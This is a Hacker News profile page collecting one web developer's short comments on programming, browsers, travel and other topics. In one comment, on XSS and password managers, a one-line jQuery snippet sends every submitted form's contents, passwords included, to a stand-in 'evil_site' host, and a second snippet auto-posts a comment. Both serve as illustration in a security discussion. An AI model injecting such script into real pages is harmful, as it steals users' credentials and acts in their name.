HNHacker News
TopNewBestAskShowJobs

MindTwister

787 karma · joined September 24, 2009

Web developer
submissionscomments
MindTwister··on A Look at PHP's Continuing Evolution
I meant generators, as in yield
MindTwister··on A Look at PHP's Continuing Evolution
I hadn't spotted the iterators earlier, interesting.
MindTwister··on How well do you know HTML?
The question was whether or not it refreshed the browser without user interaction. Resizing is an interaction
MindTwister··on “Printcrime” by Cory Doctorow
What about changing it then... If I build a detonator using a soldering iron and spare parts from a radio, should I be banned from ever owning a soldering iron... or a radio
MindTwister··on Ifs and &&s and Plan 9's Source Code
I'm not sure if you're trolling or not... but isn't that the point of the function in the first place...?
MindTwister··on Show HN: An Open Source Number Game
That only works until you hit 21, thats a multiple of 3 and you lose.
MindTwister··on Gmail: Introducing Actions in the Inbox
This is possibly due to the security requirements:

https://developers.google.com/gmail/schemas/actions/securing...

MindTwister··on Why do users click randomly and rapidly when an application hangs?
For me its:

1. Click on chrome to see if the window responds

2. Click on enter to make sure any hidden modals are accepted

3. Alt+F4, die bastard die

4. Ctrl+Alt+Delete, kill it with fire

MindTwister··on Why do people still say Java is slow?
I recently went back to an old Java app to benchmark it against some new code.

For small command line utilities the startup overhead can be massive compared to the actual running time of the program, even if the <insert algorithm> runs 100ms faster in Java compared to C/C++/Go/<insert other> it won't matter if the startup time takes 400ms longer.

MindTwister··on Nikon Repair Center saves a lens damaged by salt water by boiling it
This article is rather sparse on details.
MindTwister··on Exploring the Abandoned Macy's Midwest Headquarters
Interesting article... this quote struck me a kind of weird though:

"The mission, which (according to Federal Communications Commission (FCC) and the Special Subcommittee on Investigations of the House Commerce Committee) was financially subsidized, and to be filmed by CBS news, was aborted when the participants were arrested by the FBI. WerBell was released without being charged."

...A war funded by the news?

MindTwister··on [dead]
Scenario: I want to install rvm

I could download their install script, read it through and then proceed to run it

or,

Since I'm trusting rvm not to do any harm in the first place, I might as well use their handy one-liner and install it in one go. Anything they can do in their one-liner they can do to me when I install rvm anyways.

MindTwister··on Rethinking Cookies: originOnly
As far as I understand it, yes.

The basic idea is that any requests that do not originate from the domain will not send the cookies, preventing CSRF, clickjacking and the advanced CSRF discussed here yesterday (from stackoverflow: http://stackoverflow.com/q/2669690/3287)

MindTwister··on Codeq. Code quality as a service
So, PEP8 as a service...

http://www.python.org/dev/peps/pep-0008/

MindTwister··on YouCompleteMe, a Fast, As-You-Type, Fuzzy-Search Code Completion Engine for Vim
Letting this rest for now, I'd like to hear if others have any success
MindTwister··on YouCompleteMe, a Fast, As-You-Type, Fuzzy-Search Code Completion Engine for Vim
Removing

    #define hypot _hypot
from pyconfig.h (in my python include folder) got me to another hurdle

    function 'PyObject* boost::python::converter::do_return_to_python(char)' definition is marked dllimport
I have no idea what that means (never touched C++ in my life)
MindTwister··on YouCompleteMe, a Fast, As-You-Type, Fuzzy-Search Code Completion Engine for Vim
I second that, NeoComplCache is just too slow, I had issues where it simply hung vim for 2-3 seconds every time I tried to complete something, completely negating any speedup I might get from completing.
MindTwister··on YouCompleteMe, a Fast, As-You-Type, Fuzzy-Search Code Completion Engine for Vim
I'm having some issues compiling it on windows at the moment, specifically when compiling BoostParts. Saying "::hypot has not been declared". I'll update if I get it to compile
MindTwister··on The Browser You Loved to Hate
The preview has been available for a couple of weeks: http://ie.microsoft.com/testdrive/Info/Downloads/Default.htm...
MindTwister··on XSS + "Save your password" = pwned
This is a non-story, if I'm able to execute script on your site I don't have to wait for the password manager...

    $('form').submit(function(){ $.get('evil_site' + $(this).serialize()) });
(Sorry for jQuery). But who cares... let the user log in by himself and let him do the bad stuff.

    $('textarea.comments').val("You smell");
    $('form').submit();
MindTwister··on Everything Technical in F1
I sometimes have a hard time trying to fathom all the regulations imposed on the teams. Can anyone shed some light on eg. the dangers of wing design?
MindTwister··on Rules of the seat-acquisition game on the Overground
I prefer to reserve a seat when traveling cross country, who wants to stand up in a train for 3+ hrs when I can sit down and read a book.

In Denmark when I travel with my dog I'm actually required to reserve a seat for him and myself... making it even more awkward since I have now reserved a seat for a dog who isn't allowed to sit on it.

After a few times allowing people to sit on my dogs seat I now politely decline, its no fun for or either passenger or dog to try and share the same leg space.

MindTwister··on Always “hover” before you click? Wrong.
If you decide you want to wait for some kind of user input:

    $('#element').mouseover(function(){ window.location .... });
MindTwister··on Always “hover” before you click? Wrong.
Why are you making it all so difficult

    <script>
        window.location = 'http://example.com';
    </script>
Redirected.

Its not a bug, its a feature. What you should be worried about is what http://www.example.com can do, can it execute arbitrary code, post to facebook/twitter etc.?

MindTwister··on Cute riddle: Four kids holding one toy balloon
The balloon has a loop underneath, you then let 2 kids (A and B), hold a thread between them, take a second thread, feed it through the loop, once around the thread between A and B, back through the loop and hands the ends to kid C and D. If any of the kids let go, the thread will unwind and the balloon is free.
MindTwister··on Have You Ever Tried to Sell a Diamond? (1982)
In Denmark we have J-dag, where the christmas Tuborg beer is released. Its always on a Friday and you can be 100% sure that every bar, in every city is filled to the brim with people drinking the first christmas Tuborg of the season.
MindTwister··on PHP gets Generators
You\mean\travesty\obviously
MindTwister··on A well designed GOVERNMENT website.
...thats not design
MindTwister··on Firefox 3D view helps spot XSS vulnerabilities
They found out that they had unfiltered input, which is usually used for XSS.
MindTwister··on Anic - Faster than C, Safer than Java, Simpler than *sh
Did anyone notice this little gem in the URL? /p/anic
← PreviousPage 3 of 6Next →